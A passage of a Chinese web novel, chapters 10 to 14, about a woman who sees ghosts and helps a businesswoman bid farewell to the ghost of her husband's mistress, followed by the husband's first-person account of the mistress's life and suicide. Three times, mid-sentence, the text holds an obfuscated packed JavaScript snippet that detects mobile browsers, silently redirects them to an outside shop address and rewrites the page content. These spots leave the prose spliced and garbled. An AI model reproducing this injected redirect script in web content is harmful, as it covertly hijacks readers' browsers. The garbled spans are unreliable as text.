陈归澜的家位于城西,格局开阔,视野极佳,透过巨大的落地窗能看见城市永不熄灭的璀璨灯火。 靠近入口和开放式厨房、客厅的区域,充满了“现在”的生活气息,属于陈归澜。随手丢在玄关柜上的车钥匙,沙发上搭着的柔软薄毯,茶几上喝了一半的矿泉水。 靠墙的书架上,大半空间依旧被一套套精装的历史、哲学、艺术类书籍占据,那是白越的领域,书脊上的鎏金字体在灯光下沉默地反着光。书架一角摆着一套拼好的造型粗犷的飞机积木,也是白越的收藏。 沙发上随意搭着一件白越的外套。她一直没有收走,任由它保持着原样,仿佛主人只是暂时离开。 整个空间,一半是陈归澜努力维持的、向前看的生活,另一半,则是她固执保留的、关于白越的,停滞在三年前的回忆。 米利安坐在沙发上,听到开门声,她抬起头。 “归澜。” 陈归澜扯起笑脸:“嗯。说有好东西要给我,是什么?” 米利安从手提包里拿出一个小册子,放在茶几上:“前几天,我妈拿回来的,让我带给你。” 陈归澜从茶几上拿起册子,翻了翻:“旅游规划?” 册子很厚实,里面大都是国内外各个城市的旅游路线规划和当地必打卡景点,图文并茂。 陈归澜笑了笑:“现在人旅游都是上网查攻略,哪里还用这个。阿姨在国外旅游,不会也是靠这个吧?” “你翻到第十页和第十一页。”米利安抬头静静地看着她,等待她的动作。 11. chapter 11 陈归澜半信半疑,将页码翻到第十页。 册子的左边是第十页,册子的右边是第十页。 册子的左边是罗马,册子的右边是巴黎。 [当您的罗马之旅临近尾声,请将最后一个黄昏留给圣天使堡。 这并非仅仅是一座古老的建筑,而是为您的“永恒之城”之行加冕的最终仪式。 当夕阳开始为罗马镀上金边,请踏上那座承载着贝尔尼尼天使雕像的圣天使桥。您脚下的,不仅是一座桥,更是一条从喧嚣世俗通往神圣永恒的通道,一场跨越两千年的告别。 登临城堡之巅,在露台上找到一个属于您的位置。台伯河水静静流淌,映照着天光云影;远方,圣彼得大教堂的穹顶在熔金般的落日中剪出庄严的轮廓。这座城市的声音渐渐沉入暮色,而它的历史与灵魂,却在此刻无比清晰、磅礴地涌向您。 您会想起斗兽场的残垣、万神殿的天光、许愿池的硬币……所有旅途中的碎片,都将在这片金色黄昏中,汇聚成名为“永恒”的完整记忆。 这不仅仅是一次观赏,更是一场与罗马的对话。您站在哈德良皇帝的陵墓之上,站在历史的终点,也是您旅途的终点,亲眼见证“永恒”如何被定义。当最后一缕阳光消失在地平线,城堡与桥梁的灯火亮起,您会明白,罗马从未离去,它已将这永恒的瞬间,烙印在您的生命里。 让圣天使堡的黄昏,成为您对罗马最深沉、最浪漫的告别。在这里,结束即是永恒。] 在页面边缘的空白处,用一种陈归澜无比熟悉的、略带潦草的笔迹,写着几行字: [提布鲁斯:“永恒之城”(UrbsAeterna),“未建成墙壁的永恒之城”,罗马。] 陈归澜顿住。 那是白越的字。 她深吸一口气,带着几乎是惶恐的心情,看向右边的第十一页。 [当您的航班降落在巴黎,请将第一个清晨留给塞纳河与新桥。 这并非只是一座巴黎最古老的桥,而是为您开启“光之城”之旅的完美序章。当晨曦为城市披上淡金色的薄纱,请踏上这座名为“新”却承载着四百年历史的石桥。您脚下的,不仅是一座桥,更是一条从现实通往梦幻的界限,一场与巴黎灵魂的初次握手。 倚在古老的石栏边,看塞纳河的波光如何被微风揉碎,看旧书商们的绿色箱柜如何伴着城市一同苏醒。左岸的咖啡馆飘来咖啡香,右岸的建筑群在朝阳中渐次清晰。巴黎的第一眼,不应是冲向某个地标的匆忙,而应是这般从容不迫的、流动的画卷。 您会看到巴黎的全部缩影:艺术的闲适、历史的厚重与生活的诗意,在此刻和谐地交融于一道水流之中。远方,巴黎圣母院的塔尖与埃菲尔铁塔的轮廓隔空相望,它们一个诉说着过去,一个昭示着未来,共同为您定义了巴黎的经纬。 这不仅仅是一次初见,更是一场收到邀请的仪式。您站在巴黎的脉搏上,站在一切浪漫与传奇的起点。当第一缕阳光彻底照亮桥头亨利四世国王的雕像,您会明白,巴黎正以它最经典、最优雅的姿态,对您说出一声:“欢迎”。 让塞纳河畔的晨光,成为您对巴黎最心动、最温柔的初遇。 在这里,开始,即是全部。] 开始,即是全部……这一页,白越没有写下一个字,就像他来不及到达的巴黎和现在。 见陈归澜看完,米利安起身,轻声道:“这是我妈在罗马的旧书摊看到的,说是像白越的字迹。你之前不是说,白越去罗马游学的时候,有一本册子落在那边的酒店?估计是被人捡到,后来又不知道怎么流入了旧书摊,我妈看到,就买回来了。” 看着陈归澜失魂落魄的样子,米利安不忍,但还是说道:“我妈让我把册子带给你,我担心你会难过,本来想扔了。但仔细想了想,还是带过来了。如果实在放不下,一辈子都放不下,那就把现在的一切都暂时放下,去走他曾经走过的路,然后再毫无牵挂地走自己的路。” “归澜,”她顿了顿,观察着陈归澜的反应,“三年了,你该往前走了。” 陈归澜看着白越的字迹沉默着,宽慰的话米利安说了三年,她知道此刻任何语言都显得苍白。她看着陈归澜依旧沉浸在悲伤与回忆中的侧影,默默叹了口气,最终只是轻轻拍了拍她的肩膀,转身离开。 - 江敬寒联系上杨安语已经过了好几天。 咖啡馆内,江敬寒和陈归澜坐在一侧,杨安语坐在另一侧。 咖啡馆的老板端了三杯咖啡过来。 她看陈归澜带朋友过来,本来想免费赠送几杯自己的新发明,但一看见这奇怪的氛围,脑子里补了一出大戏,赶紧让员工按照订单上,千万不要有任何自由发挥的成分。 “杨总,这里的咖啡还不错,试试?”江敬寒开口,打破沉重的氛围。 陈归澜看了一眼从来没在这里喝过咖啡的江敬寒,没说话。 杨安语看着面前的咖啡,轻轻搅动两圈:“二位不如有话直说吧。” 她一向看重效率,不喜欢弯弯绕绕。 陈归澜也是。 “既然杨总这么说了,那我也不兜圈子了。”陈归澜直接问,“杨总,是否认识裴书苒?” 杨安语搅动咖啡的手一顿,抬眼:“认识。” 陈归澜倒是没想到,她承认得如此果断。 “她去世了。” 杨安语皱起眉头:“什么时候的事情?” “看来,杨总不知道这件事情。” 裴书苒的事情虽然前因后果不明,但陈归澜猜测,她和杨安语大概率处于敌对关系。而江家和杨安语有合作,这件事,江敬寒出面不合适。奈何他们没有别的途径联系到杨安语,通过郑开禾更是麻烦。 陈归澜适时让江敬寒先离开咖啡馆。 “我不知道。”杨安语身体后仰,靠在沙发上,“我和她上一次见面,是两年前的事情。” 那时,杨安语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875163|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚接手家里的产业,全国各地到处飞。 “书苒……她是我丈夫的情人。” 陈归澜的手一抖,不可思议地看向杨安语,可杨安语却平静地讲述着这一切,好像出轨的不是她的丈夫,而她丈夫的情人和她是好朋友。 陈归澜默默喝了一口咖啡压惊。 海盐焦糖拿铁,老板没有乱发挥,味道还不错。 杨安语自顾自说着:“书苒是个很温柔的人。六年前,我第一次见到她的时候就知道,她其实很要强、很努力。” 陈归澜呛了一下。 六年前? 杨安语注意到陈归澜,莞尔:“是不是觉得,很意外?她作为我丈夫的情人,我提起她还这么平和。” 陈归澜点头。 何止是意外……简直是大吃一惊。 “其实,如果不是我丈夫,我应该会和书苒成为很好的朋友。你知道吗?书苒在选择离开我丈夫的时候,我邀请过书苒进我的公司,在设计上,她很有天赋。可惜……我不知道那几年书苒和我丈夫发生过什么,她离开得那么决绝,竟然连和我保持联系都不肯。” 陈归澜的三观受到了很大冲击。 作为原配,她非但不恨丈夫的情人,竟然还埋怨对方不愿意和自己保持联系!难道……陈归澜悄悄揣测起三个人的关系。 杨安语有些难过地看着陈归澜:“书苒她……是怎么走的,生病吗,还是……” “我不知道。”陈归澜试探着问,“杨总,如果……有再见一次裴书苒的机会,您会怎么选择?” “可她……”话没说完,杨安语坦白,“其实,我很想再见她一面。我想知道,离开之后,她过得好不好,会不会怨我……” 陈归澜不知道杨安语的真实想法,只能选择坦白,孤注一掷。 “杨总,我有办法让您和裴书苒再见一面,只是……”陈归澜斟酌用词,“只是,她现在的状态不太一般。” 杨安语不知道她在说些什么,只是被情感驱使着答应:“鬼魂吗?不管是什么状态,我想见她。” - 杨安语说下午还有个会要开,晚上八点,赵许一家门口见。 陈归澜提着咖啡馆老板送的两杯特调新品下楼,见江敬寒在店里等她。 “米利安和佳欣呢?”陈归澜把咖啡放在柜台上,找了把椅子坐下,“她答应了,今晚八点,赵许一家门口见。” “她俩说哪个快闪店开过来了,要去买,让我帮忙看会儿店。”江敬寒不客气地拿了一杯咖啡,“刚才看见她下楼了,好像不太开心。” 陈归澜把事情原封不动说了一遍,江敬寒越听越觉得离奇。 “我怎么感觉,郑开禾挺多余的?” 陈归澜点头:“我也觉得。” 陈归澜:“晚上你一起去吧,不过眼镜要给杨安语,她应该看不见。裴书苒现在的状态,你应该能看见轮廓了。” “嗯,能看见轮廓。” 12. chapter 12 夜色深沉,四人准时到达赵许一的房子。 站在大门前,杨安语开口:“两年前,离开北城的时候,书苒住这里,和郑开禾一起。” 即使知道了他们三个人的故事,赵许一还是觉得后背发凉。倒不是他们的关系多离谱,北城豪门圈里的故事听得多了,甚至他亲眼见证过不少,但都没有这么让他唏嘘的。 作为约定俗成的水火不容的两方,关系能这么融洽才是他所震惊的。 陈归澜、江敬寒和赵许一站在前面,杨安语跟在最后,她的指尖有些凉,微微蜷缩着。 踏上二楼的露台,一股比楼下更阴沉的寒气缠绕上来。月光勉强照亮一角,那抹熟悉的身影,比之前任何一次都要清晰,就静静地站在那里,仿佛已等待多时。 她没有看陈归澜他们,目光越过众人,落在杨安语身上。 空气仿佛凝滞了片刻。 “安语姐。”一个极轻的声音响起。 杨安语浑身一颤,眼眶瞬间就红了。 她向前走了一小步,声音哽在喉咙里,好一会儿才发出:“书苒……” 裴书苒的身影没有什么大的动作:“终于等到你了。” 她的声音依旧空茫,像是褪了色的旧信笺,只剩下一点淡淡的怅惘。 “我早该来的。”杨安语的声音很低,带着压抑的哭腔,“对不起,这么久才来看你。” “没关系。”裴书苒轻轻地说,像是叹息,“我知道你很忙,你有你的追求。这些日子,我一直在想,我们曾经一起去过的地方。你还记得后海那家奶茶店吗?你总说珍珠煮得不够软,但还是陪我去了好多次。” 杨安语的眼泪终于落下来,她用力点头:“记得。每一次去,你都只点那一种,从来不换。” “栀子花开的季节,你总会带一束给我……”裴书苒的声音渐渐低下去,带着遥远的怀念,“说花能让人换个心情。” “你走后……院子里的栀子,我再也没碰过。” 两人之间陷入短暂的沉默,仿佛一同沉进了那些被时光封存的过往里。 裴书苒的身影开始变得比之前更淡,像晨曦中即将散去的薄雾。 “安语姐,知道你过得好我就放心了。”她最后轻声说,那声音几乎要听不见,“安语姐,再见了,我也要去找我的自由了……” 话音落下,她的身影如同融入月色的水汽,悄无声息地消散了。 露台上只剩下空荡的月光,和杨安语压抑的啜泣。 陈归澜三人沉默地站在一旁。 故事的尾声比他们想象的更平淡,但也更令人唏嘘。 晚风带着恰到好处的凉意拂过,朦胧的月光穿过乌云平静地落下,远处城市的灯火闪耀着,如同散落的星辰。 杨安语整理好情绪,看向陈归澜,声音还有些颤抖。 “谢谢你。” 陈归澜实在忍不住问:“杨总,介意说一说您的故事吗?” “当然可以,只是……这个故事有点狗血、有点长。” “我出生在北城,父母一个是大学教授,一个从商。六岁那年,因为父亲公司市场的变动,我们举家南迁,到了海市,我的人生轨迹,也从那时开始改变。” “我很小就认识郑开禾了,大约在我四岁,他五岁的时候。我们两家虽然一家北城起家,一家海市起家,但是世交,有商业往来,我们家去海市拓展市场、后来他们家来北城拓展市场,都有对方的帮助。在大人眼里,我们也是门当户对的“青梅竹马”。在周围人眼里,我们天生就该在一起。” “十八岁时,我被父母送去国外读书。那是我人生中第一段真正自由的时光。在那里,我遇到了一个人,我们相恋了。他给我的感觉像南加州的阳光,炽热、无所顾忌。那是我第一次,也是最后一次,纯粹地被人爱着。” “好景不长。在我本科毕业前,父母发现了这段恋情。结果可想而知,他们无法接受一个“背景一般”的外国男孩,用最决绝的方式拆散了我们。我心灰意冷,毕业后便顺从地回了国。” “回国后,我试图抓住一点属于自己的东西,用自己积攒的钱和一点人脉,开了一间平面设计工作室,作为自己的精神堡垒。” “可堡垒终究会被炮弹轰得粉粹,要么死在堡垒里,要么死在外面。” “九年前,在父母的强硬安排下,我和郑开禾结婚。” “没有浪漫的求婚,甚至没有假装的情深意重,我们心里都清楚,这更像是一场合约,为了满足家族的期望,为了那些盘根错节的利益。” “婚礼很盛大,海市的名流都来了。” “但我只记得那年的冬天,格外的冷。” “婚后不久,我在海市街头看到了一个和我的初恋背影极其相似的人。我鬼使神差地跟了上去,发现并不是他,但那种心悸的感觉却回来了。” “后来,我认识了那个仅仅是有几分神似的人,并开始了一段隐秘的关系。我知道这不对,但那段死水般的婚姻里,我需要这点虚幻的氧气。” “六年前,我发现了郑开禾在外面也有人。很奇怪,我并没有感到愤怒或是被背叛,反而有一种荒谬的“公平了”的感觉。我们这对被强行捆绑的夫妻,终于在婚姻的假面下,各自找到了情感的宣泄口,尽管都见不得光。” “其实郑开禾和我很像,爱得炽烈,却臣服于家庭的权威,可笑的是,我们竟然都心照不宣地选择了这么不道德的方式去对抗这个权威。” “我很好奇,什么样的人会让郑开禾动心,所以,我让人私下调查,悄悄去见了她。” “她叫裴书苒,星城人,比我小四岁,比郑开禾小五岁。” “裴书苒刚见我的时候,没什么表情,淡淡的,没有小三见到原配的心虚、害怕或是耀武扬威,好像只是见了芸芸众生中的一个。” “我倒是很好奇,她到底是个什么性格的人,愿意和人保持这种不正当的关系,还一副无所谓的样子。” “我直接问了,她也直接说了。” “她说,她活得很累。” “我追问,但她不愿意多说。” “她回老家之前,我给了她一笔钱,希望在不能再见的日子里,她能过得更好,比被我们拖累的日子更好。” “直到现在,我也不知道她因为什么活得这么累,累到两年前离开郑开禾,在明知我把她当朋友的情况下还要离开,和我们斩断一切联系。” “我和海市的那个人的关系断断续续维持了很多年。” “直到两年前,我们都感到疲惫了,这种依靠影子存活的关系,终究耗尽了彼此最后一点温暖。” “我们平静地分了手。” “而我,也彻底收心,回到了这个所谓的家。” “我和郑开禾维持着表面的和平,像两个演技精湛的演员,在需要的时候出场。” “工作室成了我全部的精神寄托,成为我在公司和家里承受的所有压力的释放场所。” “有时我会想,如果当年我足够勇敢,命运是否会不同?但人生没有如果,只有一次又一次的妥协,以及妥协之后,那片无边无际的沉寂。” “实际上,如果再来一次,我还是会做一样的选择。” “巨大的利益面前,抛弃感情才是最理智的选择。” 听完杨安语的故事,陈归澜只觉得唏嘘。 三个人都是利益的牺牲品,但只有裴书苒最无辜。 “不管怎样,谢谢你们。”杨安语从回忆里抽离出来,“赵先生,是吧?很抱歉,让你买到这个房子,我也不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882754|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道我丈夫把这栋房子卖出去了。作为补偿,我希望以双倍的价格,买回这栋房子,不知你意向如何?” 能出手,赵许一自然求之不得:“当然愿意。不过,杨总不用双倍买回,原来的售价就够了。” 杨安语倒是不介意:“放心,不是我出钱,这笔我会让我丈夫还回来。” 陈归澜:“……” 还真是表面夫妻,杨安语仅剩的感情都留给裴书苒了。 赵许一:“……那就按照杨总说的办吧。” “明天我会让助理联系。十点还有个海外的会要开,我就先不打扰各位了。”杨安语欠身离开。 陈归澜:“……” 江敬寒:“……” 赵许一:“……还真是……” 赵许一找不到一个合适的词形容杨安语。他只觉得,有这样强大的心态,她做什么都会成功的。 事情结束,房子也能出手了,赵许一松了一口气:“陈大师,我可欠了你一个大人情。明天我们开个庆功宴吧?” “少来。”陈归澜白他一眼,“有什么值得庆祝的?” “归澜,就当放松吧,反正赵许一出钱。”江敬寒倒是觉得,经历这一场,陈归澜倒是没之前那么封闭了。 在心理学的认知行为疗法中,这属于行为激活,让陈归澜从简单、易完成的活动开始,比如借助已有能力帮助鬼魂,获取成就感,逐步重建健康的生活节奏。 只要陈归澜能迈出这一步,日后就更有可能与社会建立更多联系,也不枉他和米利安绞尽脑汁制定的计划。 “行,明天晚上吧。下午还约了客户。” “好。”赵许一道,“今天没开车来?我送你回去吧。” “不用了。” 见陈归澜不愿意坐赵许一的车,江敬寒开口:“我开车带你来的,得把你安全送到家,正好也顺路。” 陈归澜摇头:“真的不用。我想自己走走,反正地铁站也不远。” “好,那你注意安全,到了发信息。” 陈归澜挥挥手:“知道了,你们快回去吧。” 看两人分别开车离开,陈归澜没有朝地铁站的方向走,而是绕到别墅的左侧。 别墅的围墙外还有一圈空地,上面种了些花草树木,物业维护得还不错,但终究因为荒废已久有些杂乱。 “郑先生。”陈归澜在男人面前站定,淡淡开口。 看见陈归澜,郑开禾并不意外,只是苦涩一笑:“陈师傅。” 这里也是露台的左侧,正好可以看见一部分露台的场景。 “都看到了?”陈归澜问。 陈归澜抬头看露台的方向,正好可以看见大半个泳池上方,在这里,应该能看见裴书苒,也能看见一部分杨安语。 “看不到,只听到。”郑开禾得到陈归澜通知就匆匆赶来,藏在这个荒芜的角落。 故事的最后,裴书苒不愿见他,他便不出现。 郑开禾:“她不愿见我,或许是不希望我看见她。但是……能听到她,我心满意足……” 真的心满意足吗?郑开禾不敢肯定地说第二遍。但比起遗憾悬在心里,能听到声音总归比什么都没有要幸运。 “郑先生,裴书苒已经离开了。”陈归澜无法共情郑开禾,毕竟凶手他算其中之一,但也无法说什么重话刺激这个苍老的男人。 既然相爱,为什么会走到这一步?陈归澜想不通。 “郑先生节哀,我先走了。” 郑开禾叫住陈归澜:“陈师傅——” 陈归澜回头。 “谢谢你。”郑开禾对着陈归澜弯下身体,“谢谢你,愿意给我这个机会,和书苒正式告别。” “不用谢我,”陈归澜往外走,“是裴书苒允许你来的。” 13. chapter 13 我叫郑开禾,生于经济发达的海市。 我还没出生的时候,我爸妈就看准了商机,将全部家当投了进去,盘下海市好几块地盘。如果我当时有意识,我估计会为他俩担惊受怕,生怕家破人亡。 不过事实证明,我的确没什么商业头脑和长远眼光。后来,那个地方让一大批富人横空出世。包括我爸妈。 也因此,我从出生就没过过苦日子,心高气傲。 在我之上还有一个比我大一岁多的哥哥,他叫郑越禾。小时候,我经常和哥哥、保姆三个人在家,爸妈常年在外面跑生意,世界各地到处飞。 那个时候我对他们的商业版图还没什么概念,只知道他们很有钱,好多地方都有他们的楼,好多地方都有他们的公司,好多行业都有他们的投资。 我也不在乎这些。我只知道,我有吃不完的好吃的、玩不腻的玩具。当然,课也多到上不完。 好在我还有哥哥一起。 但是哥哥十八岁,我十七岁那年,哥哥也出国了,家里就只剩我和保姆了。 不过还好,我不用像其他人一样每天拼命学习、挑灯夜读。因为再过一年,我会和哥哥一样出国读书。 十八岁那年,我出国了,和哥哥去了同一所学校。 我本以为我们会和以前一样,偶尔打打闹闹。但是我找哥哥的时候,他跟我说,要认真学习,不要想那么多没用的。我们的使命就是学习理论、拓展人脉,然后回家继承父母的企业。 我说,我不喜欢那些。 哥哥只是笑了笑,说,过两年你就懂了。 他还说,千万不要谈恋爱。 我笑着说,我才不会呢。 在国外待了五年,我有些腻了。 这五年里,我没回过国,偶尔爸妈会过来看我和哥。 二十三岁的时候,哥哥硕士毕业回国,趁着冬假我也跟着回去了。刚回去我就遇到了高中玩得好的几个兄弟。他们有的正在国内读书,有的已经工作一年了。 虽然我们五年没见,但这丝毫不影响我们一起玩。 张艺航说,他现在正在读研的学校美女多,要带我去看看。他还调侃我,在外面看多了金发碧眼的火辣美女,想不想要清汤寡水换换口味。 我懒得理他。 他从小就这样,后来家里出事了还这样。 但不知道为什么,我还是跟着去了。 那天,他们飞盘社有活动,张艺航说带我去看。他还说飞盘社有个大一学妹很好看。 我对飞盘不感兴趣,推脱了好几次也没推掉,还是被拉着去了。 他们学校就一个足球场,一半在扔飞盘,一半在踢足球。 张艺航手舞足蹈跟我讲飞盘的规则,我坐在旁边兴致缺缺。 我也不知道为什么张艺航对飞盘这么新奇,再喜欢的东西玩了几年应该也腻了吧。 就在我晃神的时候,我看到跑道上一个扎着高马尾正在跑步的女生。 她穿着一件紫色的毛呢外套,还戴着一副白色的耳机,跑得飞快。 一阵微风吹过,她就像一朵鸢尾花,随风飘走了。 不知道跑到第几圈了,她好像有些累了,微微喘着气。 跑到旁边,她把紫色外套脱了下来,只剩一件白色的毛衣。 她笑着把紫色外套递给跑道边等她的女生,说了几句话,然后继续去跑步了。 白色的身影越来越远,然后又慢慢拉近,又再一次远去。 张艺航注意到我的心思不在他的话上,疑惑地顺着我的目光看过去,发现了那个鸢尾花女孩。 张艺航笑了笑,拍着我的肩膀调侃:“我就说你辣妹看腻了肯定想换换口味吧!” 他顿了一下,接着说:“那个女生好像叫裴什么,排球队的,技术不错。你看上她了?” “她有男朋友吗?”我顺势问了。 “这我怎么知道?”张艺航看了一眼飞盘社那边的一个人,说,“我去问问社长。” 张艺航一溜烟就跑出去了。 再看向那个鸢尾花女孩,她已经没跑了。 而是抱着紫色外套,和那个等她的女生一起走了。 我一着急,也没管张艺航那边,直接跑过去拦下了她。 “同学你好,不好意思打扰一下……” 鸢尾花女孩愣了一下,问我:“有什么事吗?” 在国外我被搭讪、告白过几次,有外国女生,也有本国人。但是当我需要自己去搭讪别人的时候,我反而有些局促。 “同学你好,我可以知道你的名字吗?” “啊?”她又愣了一下,旋即尴尬笑了笑,“不好意思,不是很方便。” 看她转身离去,她身旁那个女生还在打趣她,她有些尴尬。 我更尴尬。 或许是因为我太久没呆在国内,不太熟悉他们的套路了。 这时,张艺航跑回来了。 “一眨眼你怎么跑这儿来了?”张艺航转述他打听到的消息,“那个女生叫裴书苒,好像是学金融的。以前排球队的,排球特别厉害,但是前不久退队了。” “退队,为什么?” “听说是队长摆官威,那天几个人还起了争执,差点打起来。然后她就退队了。听说队里好几个主力那天都跟队长吵架了,但是直接退队的只有裴书苒一个人。”一边说着,张艺航还煞有其事地评价起来,“是个有血性的,佩服。” 我没理会他,问:“有她联系方式吗?” “有我在,靠谱!”张艺航拿出手机,给我转发了一串聊天记录,应该是他刚刚找的那个人转给他的。其中就有裴书苒的微信号。 我搜索联系人,跃上屏幕的是一个昵称叫“爱丽丝”的人,头像是一个我不认识的动漫人物。 她的个性签名是:永远热诚。 我犹豫了一下,还是退出了她的主页。 张艺航倒是先急了:“你倒是加她啊。” 我把手机放进兜里:“第一次见面,没必要。” “你……” 他还想说些什么,我赶紧拦住他:“就别纠结这个了,我定了位置,今天我请。晚上还约了方乐他们呢,吃完赶紧去。” “吃饭,哪儿?我们学校这地方门可罗雀,可没什么好地方,你吃得惯?” 海市大学的位置是有点偏,还不在大学城,但怎么也说不上门可罗雀,不过是他们四年吃腻了的借口罢了。我想,如果真的喜欢一道菜,别说四年,就算是四十年,也吃不腻。 “好不容易请你吃顿饭,我能马虎?跟我走就是了。” 晚上,我看着那个笑容灿烂的漫头,还是没忍住,点了添加联系人。 她很快通过了。 [你是?] [同学你好,我是今天想知道你名字的那个男生。同学你别误会,我没有恶意,只是想认识一下你。] 我斟酌半天,才发出去这句话。我生怕她转头就把我删了。 她好像也没那么抵触我。 [你好,我叫裴书苒。] [我叫郑开禾,很高兴认识你。] 自从加了裴书苒的联系方式,我隔三岔五就找她聊聊天,她也会出于礼貌回我,后来渐渐回得没那么勤了。 我也试过约她一起出去玩,她总是拒绝我,还会义正词严地说,不要对她抱有任何想法。 我总是会说,没有,只是单纯很欣赏她,没有其他想法。 但她还是对我越来越冷漠,后来礼貌回复也不怎么有了,拒绝的话也一次比一次直接。 第二年春天,我做了第一次、也是最后一次告白,她很直接地拒绝了我,然后把我删掉了。 我没办法,总不能再厚着脸皮去加她,就算加了估计也是被拒绝一次。 我也该回学校了。 我还是告别了这个城市、告别了本就不属于我的鸢尾花女孩,再次踏上那片不熟悉的土地。 这年秋天,我再次回国。这一次,我毕业了,回到这里,并且不用走了。 但是,我结婚了。 和杨安语。 杨安语是我爸合作伙伴家的女儿。我五岁的时候就认识她了。但是我们之间的交流不多,最后每年跟着父母一起吃顿饭。 听说后来她去国外读书,还交了个白人男朋友,但是被拆散了,听说,对方家里条件一般。 我不知道在长辈的眼里,什么条件算一般,也不愿意去想。 回来听说我要跟她去领证,我也拒绝过、闹过,然后我哥劝我,她也劝我。 我知道这是我的宿命。 既然我最初接受了优渥的物质条件和平常人无法比肩的生活,就注定无法抗拒一些东西的失去,感情就是这其中最不值一提的东西。 杨安语说,她不喜欢我。 她说,我们结婚之后各玩各的,不要有超出结婚证之外的任何关系。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885910|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我最终还是答应了。 在这之后不久,我和杨安语一起从海市搬到北城,接手了我爸在北城的一家公司,也过上了常年出差、不归家的日子。 三年后,我听说就业形势紧张,自然灾害频发,地震、台风、干旱……裴书苒一直过得不好。 我让张艺航联系到裴书苒当时最好的朋友,试图通过她联系到裴书苒。 我本来已经做好了再次被拒绝的准备,但是让我意外的是,她答应了。 “你认真的?”这次轮到我愣住了。 “认真的。”裴书苒抬起头,“我知道你结婚了,也知道你们只是形式婚姻。” “好。”我绷直了背,开口,“你作为我女朋友,我会给你安排地方住,每个月给你十万。” “好。” “同时,如果你要离开这里需要提前告诉我,我答应了你才能离开,不管是长期还是短期。” “好。” “我不出差的时候会住你那边。” “好。” 我沉默了片刻,问:“你还有其他条件吗?” “没有了。” 她同意当我女朋友,我却感觉心里空了一块,始终高兴不起来。 我清楚这不是单纯的恋爱关系,我也知道她不喜欢我。 那朵鸢尾花,好像飞远了,远到我看不清了。 我们在一起的日子还是很开心。 我累了,她会安慰我。偶尔我陪她出去逛街,有时候她还会鼓捣一些食物给我吃,味道怪怪的,但很好吃。 我爸年纪大了,事业开始分给我和我哥。 我每天跟所有人斡旋,被父母催着要孩子,而我正好和杨安语约法三章,婚内不会有任何关系,等到时机成熟,我们会和平分手。 为了尽快迎来那个成熟的时机,我忙到脚不沾地,整个人都快被压垮了,去找书苒的时间也越来越少。 从最开始几乎每天都腻歪在一起,到后来周末在一起,再到后来一、两个月见一次。 我再也没有多余的力气留给书苒了。 经过几年,我也有些腻了。 我觉得她一天比一天冷漠,我也一天比一天麻木。 两年前的冬天,书苒提出了分手。 我筋疲力尽,答应了。 我说,这个房子你住了四年了,留给你吧。 她说,不用了,她没有这里的户口,就不留了。 我说,那我给你买几套你老家那边的房子,北城和海市的房子没办法挂你的名,但钥匙给你,想住就住。 她说,不用了,她住不上。 我没管那么多,还是给她买了。 后来我听说,她走之前,还跟杨安语见了一面,杨安语给了她不少钱。 这四年里,她们一直有联系,我都知道。 我注意过很久,担心她们会起冲突。后来事实证明,我有看错了。 一直到最后,她们的关系都很平和。 12月,书苒回去了。 我偶尔还是会回我们一起住过四年的房子,那里还有她的痕迹。 她还在的时候,我们偶尔会起争执,偶尔会吵架。 一开始几乎都是我发脾气,后来她也会生气,然后我去哄她。 后来一年到头我们也见不了几次,也没脾气了。 现在分开了,我反而很想很想她。 但是我还是曾经那个我,失去了她的联系之后就像个废物,不敢再联系她了,事业也停滞不前。 6月12日,我听说书苒自杀了。 5月21日的事情,抑郁症。 我放下一切工作,找到了她。 这是我第一次去她的老家,她出生、成长的地方,一个人口寥寥、破败的镇子。 找当地人打听了几句,听说书苒的父亲在她很小的时候就意外去世了,肇事者跑了,赔偿金没拿到,母女俩过着紧紧巴巴的日子。 听说书苒的母亲也因病过世了,我结婚那年秋天的事情。 她火化之后被送回了老家,埋在了一棵玉兰树旁。 墓碑上的照片还是她高中毕业之后拍的,她穿着一件紫色的连衣裙,捧着一束百合花,站在镜头面前,笑得很灿烂。 跟我第一次看见她时一样灿烂。 我抬头,洁白的玉兰花开得正旺盛。 但是,鸢尾花谢了。 我的鸢尾花女孩,也永远离开了。 14. chapter 14 九月初,天气转凉,路边银杏的叶子边缘开始泛黄,早晚温差变大,出门都得带件外套,以备不时之需。 夏天,陈归澜点咖啡通常要正常冰,现在会根据气温调整。今天下小雨,白天的气温也算不上高,陈归澜就点了一杯温的肉桂拿铁。 咖啡馆老板端来肉桂拿铁,放在陈归澜面前,顺势坐在对面。 “肉桂拿铁,按你的要求,少放牛奶多放咖啡,深烘。归澜,怎么最近不在你的纹身店里待着,隔三岔五上来?”老板笑得不怀好意,“你暗恋我!” 